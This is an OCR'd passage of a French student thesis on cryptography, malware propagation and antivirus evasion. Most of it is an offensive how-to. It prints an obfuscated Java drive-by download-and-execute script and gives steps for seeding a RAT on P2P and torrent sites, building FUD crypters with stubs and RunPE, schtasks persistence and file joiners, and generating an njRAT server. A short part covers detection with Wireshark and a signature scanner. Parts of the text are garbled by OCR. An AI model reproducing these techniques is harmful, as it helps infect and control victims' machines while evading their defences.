I’aide d’une clef qu’on appelle clef secréte qui peut étre une suite de caracteres ou des
numeéros I’essentiel c’est quelque chose qui nous guideras a avoir le message d’origine,
est appliquée au texte d’un message pour modifier le contenu d’une certaine maniére.
Cela pourrait étre aussi simple que de décaler chaque lettre d’un certain nombre d’em-
placements dans I’alphabet. Tant que 1’expéditeur et le destinataire connaissent la clé

secrete, ils peuvent crypter et décrypter tous les messages qui utilisent cette clé [20].

4.2 Le cryptage asymétrique

La notion d’asymétrie [21] dans la cryptographie est apparue en 1976 lorsque deux
cryptologues américains Whitfield Diffie et Martin Hellman ont publié un article met-

tant en ceuvre le principe d’asymétrie en cryptologie.

Leur principe repose sur le fait qu’il n y pas nécessité, pour que tout se passe bien,

que la clé de chiffrement soit la méme que pour le déchiffrement.

De plus, les deux cryptologues ont constaté que, pour la protection de données en
confidentialité par exemple, le chiffrement d’un message pourrait étre effectué par tous
alors que le déchiffrement devrait étre effectué seulement par le destinataire du mes-

sage.

L’intérét de I’asymétrie serait alors que la clé de chiffrement pourrait étre rendue
publique, donc utilisable par tous ceux qui voudraient chiffrer un message, on parle
alors de clé publique, alors que la clé de déchiffrement serait propre au destinataire, on

parle de clé privée.

L’idée de Diffie et Hellman est alors apparue comme une petite révolution dans le
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monde de la cryptographie et il restait maintenant & trouver les outils mathématiques
adéquats, des problémes mathématiques dont la solution serait extrémement difficile &

trouver, et ce, par les ordinateurs les plus puissants au monde.

5. Avantages et inconvénients de la cryptographie

Les différents avantages et inconvénients du cryptage symétrique et asymétrique

sont les suivants [22] :

5.1 Cryptage symétrique
Avantages

— Impossibilité de substitution du destinataire : clef privée connue de lui seul.
— Aucun transfert de clef privée : confidentialité assurée

— Un seul couple de clés pour plusieurs expéditeurs

Inconvénients

— Complexe.
— Requiert beaucoup d’opérations, donc peu recommandé pour transférer de grandes
quantités de données.

— Authentification incertaine de 1’expéditeur.

5.2 Cryptage asymétrique

Avantages

— Impossibilité de substitution du destinataire : clé privée connue de lui seul.
— Aucun transfert de clé privée : confidentialité assurée.

— Un seul couple de clés pour plusieurs expéditeurs.

37



Inconvénients

— Sa complexité.
— Elle requiert beaucoup d’opérations, donc peu recommandé pour transférer de
grandes quantités de données.

— Authentification incertaine de I’expéditeur.

6. Différents logiciels pour Ie cryptage

Il existe plusieurs logiciels aujourd’hui pour le cryptage, parmis lesquelles on peut

citer :

— Private Disk Light
— AxCrypter

— Crypt3

— PenProtect

— dm-crypt

- GnuPG

7. Conclusion

Cette science ne s’arrétera jamais car elle est devenue primordiale et ses chercheurs
dits les cryptographes essayent toujours de trouver une nouvelle méthodes pour de I’ ar-
gent comme pour de la gloire ou juste pour I’anonymat comme les crypto-anarchiste
le font dans les réseaux tor, I2p et qu’ils n’ont pas cessé de faire évoluer cette science

qui est la cryptographie.
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Chapitre IV

Techniques de propagation des virus et

Cryptovirologie

1. Introduction

Afin de prendre en main les virus on devrait parler absolument de quelques tech-
niques d’infection utilisées par les pirates informatiques spécialisés dans la virolo-
gie afin d’infecter leurs cibles vis€es ou juste pour avoir une armée de zombies et
théoriquement c’est quoi cette technique qui contourne la sécurité pour laquelle les
gens payent cher. C’est dans cette optique que j ai choisit ce théme afin d’obtenir le
diplome de fin de cycle, alors dans se chapitre on va parler des techniques de propaga-

tion des virus et de la cryptovirologie d’un coté théorique.

2. Techniques de propagation des virus

On croise beaucoup de gens sur la toile du net qui se posent la question comment
peut on étre infectés juste en accédant a un site web ou un e-mail, un torrent,etc. C’est
bizarre car on a rien fait a par accéder a un site a I’apparence inoffensif, on va mainte-

nant donner quelques exemple de techniques de propagations via le web (Web Spread)
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2.1 Java drive-by

Comme tout types d’attaques via le web on a pas un acces direct ou physique 2
la machine de la victime, mais ce type d’attaque n’a pas besoin d’une faille dans le
moteur de recherche, juste un petit plugin particulier et vulnérable et un peu de social
engineering pour inciter la victime & accéder a la page en question, en totalité on a
besoin d’un pack special, ce dernier contient :

— Un nom de domaine + hébergement web, il vaut mieux qu’ils soient payant ques-

tion de crédibilité, uploader la totalité des fichier suivants

¥ Home ceneraljava analysis

Places

ORecent =S = = ™ E
1 Home [ 1l = P e %

E@Deskion Clientjar indexhtml index2html javapng load.gif softpedia.gif
D Documents

BYimages

3 Musique

¥ Téléchargements
Hvidéos
Oy Trash

Devices

Masacrvnliome

FIGURE IV.1 — Java drive-by pack.

— le fameux fichier ,jar coder spécialement pour sa
— Deux interface web :
e la premiére qui est une fausse page avec des éléments qui doivent attirer I’ at-

tention de la victime et la rassurer.

FIGURE IV.2 - Softpedia
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D Pleasewaitwhi... x

€ o 2org = & R Recherche w8 3$aasn s

=
%

Please wait while the application is loading...

FIGURE IV.3 - Java drive-by 1.

e Apres une redirection vers notre 2 &éme page ou il faut remplacer YOUR URL

HERE par I’emplacement de votre virus .exe pour qu’il soit exécuté.

© & Esindaxz heml (/general-avajanalysis/d) - gedi

B.‘C’?’:n - R save S0 & Undo o Y & e

ext/css>

background-coler: black;
b

Sbox {
border: 2px double white;
font-family: Verdana;
nargin-right:166px;
margin-left:160px;
background-color: white;

}

</style>

jar'>

> XtempE\winconfig.vbs & echo Const adSaveCreateOverdrite = 2 >> Xtemp%
tempX\winconfig.vbs & echo Dim DTNDTN >> XtempX\winconfig.vbs & echo S =
"ADODB" >> xtempX\winconfig.vbs § echo A = ".Stream™ >> XtempX\winconfig.vbs & echo Set DTNDTH = Createlbject(S+A) >> XtempX\winconflg.vbs &
echo DTNDTH.Type = adTypeSinary >> Xtempk\winconfig.vbs & eche DTM@TN.Cpen >> %tenpX\winconfig.vbs & echo DTNDTH.Write BinaryGetURL
(Wscript.arguments(8)) >> Ztempk\winconfig.vbs & echo DTHDTH.SaveToFile Wscript.Arguments(1l), adSaveCreateOverkrite >> %tempx\winconfig.vbs &
echo Function BinaryGetURL{URL) >> Xtemp%\winconfig.vbs & echo Dim Htip >> %temps\winconfig.vbs & echo Set Http = CreateCbject
("HinHttp.HinHttpRequest.5.1") >> %tempi\winconfig.vbs & echo Htip.Open "GET", URL, False >> %terpk\winconfig.vbs & echo Http.Send >> Ztempx
\winconfig.vbs & echo BinaryGetURL = Http y >> XtenpXy onfig.vbs & echo End Function >> XtempX\winconfig.vbs & echo Set shell =
Createdbject("Hscript.shell™) >> Stempx\winconfig.vbs & echo shell.Run "StempX\update.exe” >> XtempX\winconfig.vbs & start Stempx
iwlnconfig.vbs (8 %XtempX\update.exe'>

<param nzne="windows2' v >

=center>

HIML +  TabwWidthc6 ~ Ln 18, Col 1250 NS

FIGURE IV.4 — Java drive-by 2.
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Mozill3 Firefox 7 ; ® = [ = w102 45%) ) sam 1937 3

& Password resen:. % ” © ftep://...x2html x Cybersriminals.y, x| e

gin Bst necessare pour affxherce zopleiva

FIGURE IV.5 - Java drive-by 2.

Dans cette étape il suffit que la victime clique sur la partie ou il est écrit “un

plugin est nécessaire pour afficher le contenu”

2.2 Infection par exploits

Dans son origine un exploit n’a pas été utilisé pour propager des programmes mal-
veillants sur le net, mais aujourd’hui, il est I’'un des plus efficaces , mais aussi une des
méthodes les plus chére c’est ce qu’on appelle 0-Day exploits qu’on peut trouver dans
des sites comme www.mitnicksecurity.com qui est le site officiel de kevin Mitnik et le

prix minimal d’un exploit dit premium est de 100,000 $.
Cependant , la diffusion par d’exploits peuvent &tre trés trés réussies, mais aussi

peut avoir trés trés peu de succes . Il y a beaucoup d’entreprises qui mettent 2 niveau

(a jour) leurs programmes comme Adobe Reader.
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Utilisation :

Comme on I’a déja dis, 1’exploitation peut étre trés facile. Vous n’avez qu’a envoyer
votre esclave a une adresse web spécifique qui correspond aux exigence de ’exploit.
Ceci est un grand avantage. Mais cela ne fonctionnera pas a chaque fois. Pour mettre en
place notre propre exploit paquet y a des sites comme Odays ou exploiter-DB et faire la
recherche de quelque chose comme lecteur Adobe. Voir le code source et d’apprendre 2
Iutiliser. Quand c’est déja fait, il est temps de préparer votre exploit-kit, vous pouvez
prendre une qui est publique donc pas 0-day et de le modifier ou vous pouvez faire

votre propre exploit, ou acheté-en un.

3. Propagation par réseaux

3.1 P2p spread

Voici une image qui explique bien le fonctionnement du P2P.

clievt 47 SERVENT T
CEFNI I (Jl‘[hl SERVENT SENVENT
T R ¢ Y
> Gr_j <>
client SRR cexmal dlier ssn\:m sz‘rmm
e [ . \ S
client client SERVENT %oy &7 SERVENT
client SERVENT
Anchitecture client-serveur Architecture pair-A-pair

FIGURE IV.6 — P2P [23]

On va expliquer dans cette étape deux techniques différentes de propagation via
p2p:

1. on va utilisé un filenamer, qui va simplement renommer notre serveur.
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Phaz: ef_ﬁame Leecher =2 |

hlenu

Names Grabbed: 1320
Survivor - S22E08
ythBusters - SOSEDT
Tyler Penrys House of Papne - SO7E04
Extreme Couponing - SO1E01-02 g
Off the Map - SO1E13 :
Ametican |dal - 510E24 FP

Americas Next Top Model - S16E07

Are We There Yet - S02E28

Avengers Earths Mightiest Heroes - SO1E....
Breaking In - SO1EQ1 -
I 1 0%
Grabbing Names...

FIGURE IV.7 — Filenamer

On attend d’avoir 12K environ de names, puis on clique sur menu, start copy,
sélectionner votre rat, puis créer un dossier et sauvez le tout dans un dossier. On
va le voir ce remplir avec votre serveur en 12K fois. Il nous faut un client P2P,
n’importe le quel feras I’affaire. On va utiliser ApexDC++, on clique sur Shares

dans le menu settings qui s’ouvre a la fin de I’installation :

|~ General
| &3, Cennecticn settings
7 Downloads
i il Faverites
Ll LS File Preview
o] Quene
~-i.! Sharing
{ —a! Uplcad slcts
| #-% Appearance
| | a-§= Colors &Fents
\ : = Pregressharcclers |
© —# Userlist Colers
: 4 Ballecn pepups ] !
39 Seunds Note: Fies appear inthe share orly afterthey've been hathed!
4t* Toclbar Totalsize: 0B 3 tiore kden s

Auto refresh time VE(-;’. m IMax hash spaed ) Q:’ MB/s

Share skiphet (rldcards supported. use semicolon to separele entries)

FIGURE IV.8 — ApexDC++ 1.

puis on sélectionne le chemin du dossier que nous avons créer dans I’onglet

général on met un pseudo et définir une vitesse de transfert : vous devez peut
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€tre ouvrir les ports dans votre routeur dans mon cas ¢’est RDP avec VPN donc

pas besoin.

Maintenant que tout est configuré, partageons.

—1.7 Faverites
-4=% File Preview
=1 Queue

45+ Colors & Fonts

—= Pregressbar celers
;g Userlist Colers
i Ballcen popups

FIGURE IV.9 — ApexDC++ 2.

Q ApexDC++ L4.2(:§6—3Z]—(Pubﬁ:Hubs]“ S

$* Fle VieggMianders Window Help
v N e P — PR A
STO& 3-2a2/88RAB2HPENIOO O A -
Descripticn Users Ceuntry Shared Min Share Min Slet +
10300 5,00 GB 1 =
10510 0B o
8548 o8 L
08 0
500 GiB o
Terepbypr oB 0
08 0
10068 1
3B 0
= § *
{2 v |heps/echs i amibe2 <|[ Gogre | [ Refes
Hub list downloaded... (http:/7d fhublistxmLb22) Hubs: 1372 Users: 345379 §
User S Hub 7 Segments Status Time left Speed Filename Size Path |
o = N
¥ Public Hubs =
[10:47:05] Cennectivity: UPnP: Successfully crested port DHI:- Shared:08 H:ODU Slets=33073) 0:2810KG8 U:2526 D:PJ-J08s U: [0]]-]0 B7s

FIGURE IV.10 — ApexDC++ 3.
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Un clic sur ”public hub”, maintenant on a plus qu’a attendre et laissez les autres

télécharger nos fichier.

2. Sinon y a une autre technique, il suffit de télécharger un film on le met dans un
dossier en lui ajoutant notre virus sous format jpg avec le nom de description.jpg

et on crée un fichier torrent et 1’'upoader dans un des sites comme :

— www.t41l.io
— frenchtorrentdb.com

— rutracker.org

4. Cryptovirologie

On a parlé dans la précédente partie quelques techniques de propagations des virus
et et d’infection mais la question qui les gens se posent ¢’est, pour quoi mon antivirus
ne me protége pas ? Qu’est ce que les pirates informatique qui se sont spécialisent dans
la virologie font pour contourner cette sécurité dans un marché plein de concurrence a

coup de milliards ?

Une des techniques utilisées c’est la cryptovirologie, ¢’est quoi ce domaine ?

i

FIGURE IV.11 - Cryptographie + virologie

— Cryptage : science du secret ou science de protection d’informations.

— Virologie : science qui traite et manipule le phénomene des infections informa-
tique.

~ Virus : programme informatique qui utilise une technique spécifique pour prendre

le contrdle du systéme qui ont comme option la spécificité de propagation rapide.
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Donc la cryptovirologie est une science développez principalement par des chercheurs
(Blackhat) qui et une association entre la virologie et cryptographie dans le but de
découvrir des failles et des techniques afin d’étre utiliser pour contourner la sécurité
des host (par-feu,antivirus etc.) en général dans le but d’obtenir les informations voulu
ou d’avoir acces complet qui est appelé (root), amélioration de la furtivité des virus ,

avoir un contrdle plus précis des virus.

Sous windows elle est implémenté a I'aide de cryptography API de Microsoft

(CAPI) qui peut étre appliqué sur différents formats .exe .vbs ...

Les principales techniques utilisées dans la cryptovirologie sont :
e Technique mystification dans le code source comme les fake-functions.
e Technique de camouflage en utilisant des fonctions qu’on appelle junk-code.

Modifications des variables.

Utiliser le camouflage et faire appel 2 nos fonctions depuis d’autres classes.

Dans le marché, il existe plusieurs crypter dont les prix différent des uns aux autres,

comme montré dans la figure ci-dessous :

o n T,
‘:.‘\ﬁ‘?ﬁ
Beh
Cynherx Basic Cypherk Lite CynharX Pro CypherX Elite "'\‘ Cypheri Master

$47.99 o o e e $997.99
$97.99 R ' '

$197.99

$497.99

FIGURE IV.12 - Les différents crypters et leur prix [24]
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Chapitre V

Technique de cryptage et détection des

virus cryptés

1. Introduction

Une grande partie de mon travail a été consacrée a trouver un moyen pour contour-
ner la sécurité des antivirus en utilisant des manipulation qui reste inconnue du grand
public ,ce dernier qui pense étre a 1’abri de tout danger avec son antivirus c’est dans
se conteste se résume le travail sans oublier d’opter pour une maniére de détection afin

d’y remédier a cette derniere.

2. Principe de fonctionnement

Dans le domaine de la cryptovirologie il existe 2 types de crypter :
— Crypter Runtime.

— Crypter Scantime

2.1 Le Runtime

Lorsque le virus sera exécuter le Cryptage FUD (Fully UnDetectable) Runtime va
rendre ce virus indétectable. Le décryptage en mémoire du .exe crypté se fait dans le

méme processus que le stub ou il va &tre injecté et exécuté et il sera indétectable par
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I’antivirus.

2.2 Le Scantime

Lors d’un scan d’un antivirus par exemple, le FUD Scantime permet de rendre

virus indétectable.

2.2.1 Crypter Scantime

Cette technique consiste a chiffrer le virus en d’autres termes le chiffrement du .exe
et tout le code contenant qui va devenir une suite de différents caracteres sélectionnés

au hasard cela est remarquable une fois ouvrir le .exe avec un éditeur.

Le virus chiffré n’est plus considéré comme un programme, car il sera considéré

par Windows et par 1’anti-virus comme une suite de caractére aléatoire.

Il existe plusieurs méthodes de chiffrement : Rc4, Base64, AES etc...

Normal - Virus.exe Chiffré - Virus.exe

FIGURE V.1 — Binary to text.

Une fois le virus est chiffré, pour le lancer faut le déchiffrer cela se fait laide d’un
stub qui va simplement lire le .exe du virus chiffré et le déchiffrer en créant un nouveau

.exe (du virus déchiffré). A la fin il le Iancera.
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Stub.exe Chiffré - Virus.exe

1) Lectuce du virus chiffré
2) Dechiffrement
i 3) Bréation du virus | :
| dechifrre . | | Normal - Virusl.exe

I

4) Lancer le virus
| ; M

FIGURE V.2 — Stub.

Dans ce cas il faut envoyer 2 fichiers a la victime. le stub.exe et le virus.exe chiffré
mais il existe un meilleur choix c’est de cacher le virus chiffré a la fin du stub.exe.

Cette opération ne va pas altérer le fonctionnement de ce dernier.

Ensuite le stub va s’auto-lire et chercher le virus chiffré a 1a fin de son .exe. La

suite reste ne change pas ,On auras plus qu’un fichier qui sera notre virus crypté.
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Virus_Crypter.exe | Normal - Virus.exe

o ) Lecture du virus chiffre |

Z) Dechiffrement

3) Eréation du virus
déchifrré

i 4) Lancer le virus

+

FIGURE V.3 — Virus crypté.

Afin d’automatiser le tous il faut utiliser le Builder qui va lire le virus et le chiffrer

puis lire le stub en plagant le virus crypté a la suite du stub pour créer le virus crypté.

Builder.exe  Normal - Virus.exe Virus_Crypter.exe

| ) e E virus et lE B“]'é : : ECTUCE OU VIPLS © ”l &
i" 2 l I . \ i 2 C'“I n t
) ire IE StUb 1 ) BmMen
d) ASSE”] 1 : 3) El gation d ir
: hlé lES 2 {iChiE S : o ‘ i‘ uvi PS

4) Cree Stub » Virus 4} Lancer le virus

.; | Stub.exe |
i 5) Le lancer ' - +
1) Lire le virus et le chiffre

Z) Lire le Stub

3) Assembhlé les 2 fichiers

4) Brée Stub + Virus !
!
i
|

3) Le lancer

FIGURE V.4 — Pack complet de cryptage.
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Apres il faut essayer d’avoir un crypter FUD (complétement indétectable) c’est-a-
dire qu’aucun anti-virus ne le détecte comme un virus cela se fait en modifiant le stub
et en utilisant d’autre techniques de codage ou en changeant les noms des variables et

des fonctions, encoder le tout, faire un RunPE unique etc...

3. Persistance Mode

3.1 Schtasks create

Schtasks [25] utilise différentes combinaisons de parametres pour chaque type de
planification. Pour afficher la syntaxe combinée pour la création de taches ou pour af-
ficher la syntaxe de création d’une tache avec un type de planification particulier. Plus

précisément planification minute.

Syntaxe de planification :

schtasks /create /tn <TaskName>/TR <TaskRun>/SC minute [/mo {1-1439}] [/3t <HH:MD]
[/3d <StartDate>] [/ed <EndDate>] [{/et <HH:MM>]| fdu <HHEH:MM>} [/ k11 [/it] i/fru
{ [<Domain> \] <Usex>[frp <Password>] | Systéme}] [/ 3 <Computer>[{/u [<Domain> \]
<Uszer>(/p <Password>]]]

FIGURE V.5 — Schtasks create. [25]

Dans une planification minute, le paramétre /sc minute est obligatoire. Le pa-
rametre /mo (modificateur) est facultatif et spécifie le nombre de minutes entre chaque
exécution de la tiche. La valeur par défaut de /mo est 1 (toutes les minutes). Le SD
(heure de fin) et les parametres de /du (durée) sont facultatifs et peuvent étre utilisés
avec ou sans le paramétre /k. Pour I’exécution chaque 10 min on auras schtasks /create

/sc minute /mo 10 /tn <« Script de sécurité > /tr
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4. File joiner

Dans le Net on peut trouver plusieurs logiciel pour joindre des fichier avec le méme
format (Mp3,Avi, Txt..). Mais non pas un fichier exe avec un autre du méme format ou

un fichier .Txt avec un .exe.

Donc dans cette partie nous allons joindre 2 fichier avec un format different afin
de nous donner 1 seul fichier qui sera exécuté dans le <« Temp > sans oublier que la

victime ne verra que le fichier .Txt s’afficher et le virus prendre contréle de la machine.

FIGURE V.6 - Filejoiner

5. Détection d’infection

Un Virus Mode infection a besoin d’envoyer des informations vers la destinations
de son générateur (trojan generator), donc il va utiliser le réseau internet pour cela. Une
méthode qui est assez connue dans le monde du Malware Analytique c’est d’utiliser

un outille qui s’appelle wireshark afin d’intercepter tout les paquets entrants et sortants.
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Destinatin Protocs! Length G = -
113 109.387972199.203.131.145  192.166.40.129 ous 395 standard query response 0x5260 A 41.109.56.110
2k

122 113. 398830 Tei 000100011cfed442000c29940408
123 113.9 3 B £ 42 who has 192.158.20.27 Tell 192.168.40.129

124 1313.979574 vmware_ea:16:a8 Ve 104z 60 192.158.40.2 s at 00:50:56:ea:16:a8

125 124.4233138 feb0: 18568 H 157 Solicit XID: 0xfa2741 CID: 000100011cfed442000c29940405
125 115.342339 f250 H 3 SsSoP 151 R-SEARCH * HTTP/1.1
127 115.242645192.168.40.129 239,255.255.250 SsCF 167 H-SEARCH * HTTR/L.1
128 115.342565 T230::85b8:6888:88c 02 179 F-SEXRCH * NTTP/1.1

129 115343030 192.163.40.129 239.255.255.250 163 W-SEARCH * HTTP/1.1

120 116.413454 Fe8D::85b8:6888:85¢ 02 g 157 splicit XID: 0xfa2741 CID: 000100011cfed442000c29940408
131 116.95159231.13.90.2 192.168.40.129 Tesvi.: 513 aAgplicarion pata

132 117.058571 192.168.30.129 31.13.90.2 TLSVvI.Z 825 Application Data

133 117.058742 31.13.90.2 192.168.40.129 €0 2432365 [2x] Seq=1468 Ack=2348 wWin=64240 Len=0
132 117.151225 3L 192.16! 129 <2 xppilication Data

FIGURE V.7 — Scan du réseau avec Wireshark.

Dans la barre de recherche Filter il suffit d’écrire DNS car la majorité des chevaux

de Troie utilise un Dns prédéfinis pour relier la machine du pirate a celle de la victime.

B o S S TSR LT LT D gRaTS R iR L] 7 e — L
fle Edt View Go Copture Amalyze Quafistics Telechony Teols Itsmals Help
© Q4 “ )

&
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311 249.958492 192.1565.40.129 224.0.0.252 LLMMR 75 standard query 0OxceaS ANY WIN-PPLSRPGD671

314 250.064951 fe80: :85b8:6888:88c 102 LLMNR 95 standard guery OxceaS ANY WIN-PP1SRPGDETL

315 250.065655192.165.40.129 224.0.0.252 LLMNR 75 standard query 0xceaS ANY wIN-PPLSRPGDSTL

320 250.26€683 fe80::85b8:6888:88c T102::1:3 LLENR 95 standard query OX376L ANY WIN-PPLSRPGDGTL

321 250.266972 192.168.40.129 224.0.0.252 LLENR 7S Standard guery Ox3761 ANY WIN-PPISRPGD671

323 250.370668 fe80::85b8:6888:58c ffo2. 3 LEMHR 95 standard query Ox3761 ANY WIN-PP1SRPGDE71

324 250.371327 192.168.40.129 224.0.0.252 LLMNR 75 standard query Ox3761 ANY wIN-PP1SRPGDSTL

327 251.13€093 192.168.20.129 199.203.131.145 NS 82 standard query 0xd952 A securitywicro.ddns.ner

328 251.458894 199.203.131.145 192.168.40.129 oNs 28 standard query response Oxdd52 A £1.109.56.110

338 256.848956192.165.40.129 199.203.131.145 oNs 88 standard query 0x698c A fhodn-profile-a.akamaihd.net

340 256.955390 199.203.131. 145 192.168.40.129 NS 264 standard guery response OX638C CNAE a2047.dspl.akamai.net A §2.166.201.154 A 82.166.201.144 A 82.
385 276.691622192.168.40.123 199.203.131.135 o8NS 73 standard query 0x7385 A d.dropbox.com

3856 276.518863 199.203.131.145 1392.168.40.129 ONS 123 standard gquery response Ox7335 CMAME d.v.dropbox.com A 105.160.172.225 A 105.160.172.193
408 279.2034586 192.165.40.129 159.203.131. 145 ONS 8!

S standard query Oxcf07 A teredo.ipvE.microsoft.com

23m 330 racioann aas ane wac nn ses an a0 — == T Ny aiabe ) S i | e e ik’ Sk o ek POy

bytes on wire (656 bits. bytes cap (656 bits) on interfac

+ Ethernet II, Src: Veware 94:04:08 (00:0c:29:94:04:08), Ost: vnrarLea 16:a38 (00 50:56:ea: 16 28)

- - A% 1£0 AN 190 383 120 an 23AY 209343 333 2aC 104 30> 233 assy
29 24 04 03 03 00 25 00  .PV.
ODOO(DaBZSSlc?Cb
34 ¢5 4a d? 01 00

65 63 75 72 69 74 79 Sd
73036&55’4000001

27 FleCAUsers\GeneralAppDatailocahTem... | Packets 1273 Displayed: 72 5.7%] - Oropedid®0%) R ST ~ Profile: Default

FIGURE V.8 — Wireshark filter DNS.
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Pour ma part je me suis laisser infecter par un cheval de Troie il utiliser <« secu-

ritymicro.ddns.net > pour relier les deux bout vers 1’adresse 199.168.40.128 qui est

américaine.

Une petite remarque s’impose, la méme adresse communique avec un sous do-

maine l.ooyala.com

i S e e T S = e e e s s
227 218.761655 192.168.49.129. 199.202.131.185 oms 83 Standard Guery OxS3e3 A vortex-win.data.microsoft.con

248 218, 852066300203l dt i 203 LR 2o 2 S LT " PPy gortex-win. data.metron. live.com.n
272 223.1409574192.165.40.129 195.202.131.345 oS 72 Stardard guery OxsSab A 1.ooyala.com |

273 223.271! 7 - gger-gra. ooyala. com CuE Togge
210 242957997 fe80::85b8:6865: SEc FFO2=03 R 35 STandard query 0XceaS ANY WIN-PPISRPGDG7L

FIGURE V.9 — Communication du virus.

Sachant que ce dernier offre un service du genre Cloud vidéo Streaming, c’est un
peu (bizarre) que le virus communique avec cette adresse alors un acces a se sous
domaine s’impose

W 7 Looyala.com

€ - C.fA [ looyalacom

WfzBgR2UGU/GCi/Fk2/EdnkIg2ZulRvarTEUISQgwIA PolaIN+IR72aCQBY
21wGH9T7 uTulFNQr/ 1KNEFF81q4DdQ LAk ISO6rRLCPN HdHewPcqiKLADK
wYOHLvrQ2UMiYZqogDXR8gQGBhtaIXukvKediXuxsX T2t/ pKk2hQljHQ3XEAR
FKjO7FID1IhUUBQOz3gPbIdIC+HvLIEk6US/ poAl2faxBFXaCTwstoR4gZU+
nH1U3iUf5Tzk5jvGYItDPc8kKe+fdlnbSeCUiblpnYliwBsR+ok1litsuQzax
Or7271EF4tPybbsy8B8+alr lurLo3QMNKhRhTLzHIxVTswPVKqYs3+ug@7maq
9o IVEBSUSTHXVOpcHvGHPmX cXHBYK ¥ T3gqhsMGGnca0Q7 vuRE4tXUvdFyFI
3K7X3d1lpHzsol A+aJ 7WWV ZuTGbx

FIGURE V.10 — Partie du code du virus crypté

Comme par hasard c’est du texte, Donc le pirate utilise se sous domaine et plu-
sieurs d’autres sites pour mettre a jour ses virus avec le méme principe que notre étude

avec un Downloader intégrer dans ses dernier.
C’est dans se principe que la premiére partie de détection est basé : donc pour la

partie présentations nous aurons besoin d’un outille qui fera le tri avec une Liste des

hosts connue pour faire Dynamics DNS service.
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5.1 Deuxieme méthode de détection

Elle est décomposée en deux parties :

— 1 database creator qui extrait la signature numérique du fichier et 1’enregistre
dans une sorte de base de donnée qui est database.txt.

— 2 scanners qui parcoure les fichiers d’un répertoire et il les compare par rapport

a sa base de donner.

oo i

generateur de Base de données Angvirus
signature pour fichier virale
mfecter

FIGURE V.11 — Scanner + générateur de signature.

6. Conclusion

Maintenant que nous avons expliqué plus ou moins en détail en quoi est basée
en théorie notre étude, nous allons appliquer ces différentes notions dans le prochain

chapitre.
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Chapitre VI

Implémentation et tests

1. Introduction

Dans ce chapitre, nous allons appliquer la partie théorique étudiée précédemment.
Pour cela, nous allons commencer par présenter les différents logiciels et langages
utilisés pour ensuite entrer dans le vif du sujet & travers application du principe de

P’application.

2. Logiciels et langages utilisés

2.1 Logiciels

e VisualStudio .NET :
Visual Studio .NET [26] est un jeu complet d’outils de développement permet-
tant de générer des applications Web ASP, des services Web XML, des applica-
tions bureautiques et des applications mobiles. Visual Basic .NET, Visual C++
.NET, Visual C# .NET et Visual J# NET utilisent tous le méme environnement
de développement intégré (IDE, integrated development environment), qui leur
permet de partager des outils et facilite la création de solutions faisant appel a
plusieurs langages. Par ailleurs, ces langages permettent de mieux tirer parti des
fonctionnalités du .NET Framework, qui fournit un acces a des technologies clés

simplifiant le développement d’applications Web ASP et de services Web XML..
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e Autolt Script Editor compilateur de language Antoit (prononcer aow-toh-it).

e ScriptCryptor Compiler.

2.2 Langages :

e VisualBasic .NET :
Visual Basic .NET [27] est un langage de programmation 2 la syntaxe simi-
laire a celle de Visual Basic 6 .Néanmoins, ces deux langages sont assez peu
comparables dans la pratique tant 1’évolution entre ceux-ci est énorme. Le prin-
cipal changement étant sans conteste 1’introduction de I’orientation objet dans
le langage.VB.NET permet de développer en .NET via Visual Studio, c’est-a-
dire seulement sur les systemes d’exploitation Windows (98, 2000, XP, Vista, 7,
8). Il existe cependant un projet visant & porter la plateforme DotNet (et donc
VB.NET) sous Linux, MacOS et OpenBSD. Ce projet s’appelle Mono et il per-
met déja de faire tourner nativement des applications .NET 2.0.I1 est important
de rappeler que tout programme VB.NET est compilé dans le méme langage
intermédiaire (IL) que C# ou tout autre langage de la plateforme DotNet.Les
tutoriels de Visual Basic seront sous forme de vidéo afin de faciliter I’apprentis-

sage.

e Autolt :
AutolIT [28] est un langage de script freeware permettant une automatisation
sous le systéme d’exploitation Microsoft Windows. Dans ses premiéres versions,
le logiciel a ét€ principalement destiné a créer des scripts d’automatisation (par-
fois appelés macros) pour des programmes Microsoft Windows. De tels scripts
ont prouvé leur utilit¢ dans I’automatisation de tiches fortement répétitives,
comme le déploiement d’un grand nombre de PC avec des instructions d’ins-
tallation identiques. Avec les versions successives, Autolt s’est développé pour
inclure des améliorations tant dans la conception du langage de programmation

que dans les fonctionnalités générales.
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e VBScript :
VBScript [29] il a ét€ congu par Microsoft pour donner un peu de vie ou d’inter-
activité aux pages HTML (tout comme le JavaScript chez Netscape). Il reste par-
ticuliérement intéressant pour faire de petits programmes destinés a tourner “en
local”. En fait, VBScript peut étre considéré comme un VB édulcoré et ...gratuit.

Contrairement & VB, les scripts ne sont pas compilés.

3. Application du principe

Pour tester le bon fonctionnement de 1’application il nous faut choisir un virus
donc j’ai opter pour un générateur de chevaux de Troie don le nom est Njrat car il est

disponible en ligne et connu pour sa stabilité.

© njRATV054 Port{3000] Online[0] Selected[0] = o =)

|+ lser  |instak Dat! Country [Qperating| Cam | Ver. | ~Ping  |Active Win
i i i i |

File Manager
Run File
Remote Desktop

Remote Cam

AN

Microphone
Remote Shell
Process Manager
Registry
Keylogger

Open Chat

Get Passwords

|
i

]
=
- 4

Server

HBY|

Open Folder

Settings | [About ] B View  Connectionsil] Upload [0 Bytes] Downioad [0 Bytes]

FIGURE VI.1 —Njrat 1.

Apres avoir générer un cheval de Troie, le résultat de son scan dans le site Refud.me

par rapport a 35 antivirus.
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- 28/35 -

AVG Free

Avast

Antivir (Avira)
BitDefender

Clam Antivirus
COMODO Internet Security
Dr.Web

eTrust-Vet

F-PROT Antivirus
F-Secure Internet Security
G Data

IKARUS Security
Kaspersky Antivirus
Mcafee

MS Security Essentials
ESET NOD32

Nerman

Norton Antivirus
Panda Security
A-Squared

Quick Heal Antivirus
Solo Antivirus

Sophos

Trend Micro Internet Security
VBA32 Antivirus

Zoner AntiVirus
Ad-Aware

BullGuard

FortiClient

7 Ultimate

NANC Antivirus

Panda CommandLine
SUPERANtiSpyware
Twister Antivirus
VIPRE

File:
Size:
Date:

Server.exe
29.696 kb
8-09-15, 06:08:46

Could be a Trojan horse PSW.ILUSpy
Clean

TRVATRAPS.Gen

Gen:Variant.Barys.7801
Win.Backdoor.Bladabindi-1
TrojWare.MSIL. Bladabmdl.l()(@306437837
Trojan.DownlLoaderi3.371457
Win32\/DotNetDLAlgeneric
W32/MSIL_Bladabindi.A2. genlEldorado (
Gen:Variant.Barys.7801 !
Gen:Variant.Barys.7801, MSIL.Backdoor: BI
Clean

Trojan.MSIL.Disfa.bgh
BackDoor-NJRatl6052A8F5BAF7
BackdoorMsiLViBladabindi.AJ i
